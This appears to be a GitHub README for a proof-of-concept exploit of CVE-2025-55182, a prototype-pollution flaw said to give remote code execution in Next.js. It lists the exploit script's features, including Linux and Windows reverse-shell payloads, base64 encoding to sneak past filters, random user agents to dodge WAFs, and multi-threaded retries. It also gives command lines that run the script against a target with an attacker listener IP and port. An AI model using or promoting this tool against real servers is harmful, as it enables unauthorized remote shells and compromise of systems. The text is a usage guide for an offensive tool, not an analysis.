0xn7y/cve-2025-55182Poc for CVE-2025-55182
CVE-2025-55182 is a critical prototype pollution vulnerability in nextjs that allows rce via improper input sanitization in the framework's request handling mechanism, this whole thing happens because nextjs is out here trusting JSON objects like a clueless rookie
1) Prototype Pollution in Request Parsing nextjs improperly sanitizes objects that can pollute the prototype chain
2) Insecure Deserialization the framework allows JSON objects to modify base object prototypes
3) rce via child_process by polluting the prototype chain, once the prototype is polluted, we can hijack logic and make the server run stuff
npm create [email protected] vuln
1) Reverse Shell Payloads: Linux/Win rev shells
2) Base64 encoding to sneak past filters
3) Auto OS detection
4) Random user agents to dodge WAFs
5) Retry loops incase of failer to retry attempts with exponential backoff
6) Multi-threading for concurrent exploit attempts for reliability
python exp_v2.py target 192.168.1.69 9001 --base64
python exploit.py target 192.168.1.69 9001 --retries 5 --threads 3
python exploit.py target.com 192.168.1.69 9001 --no-spoof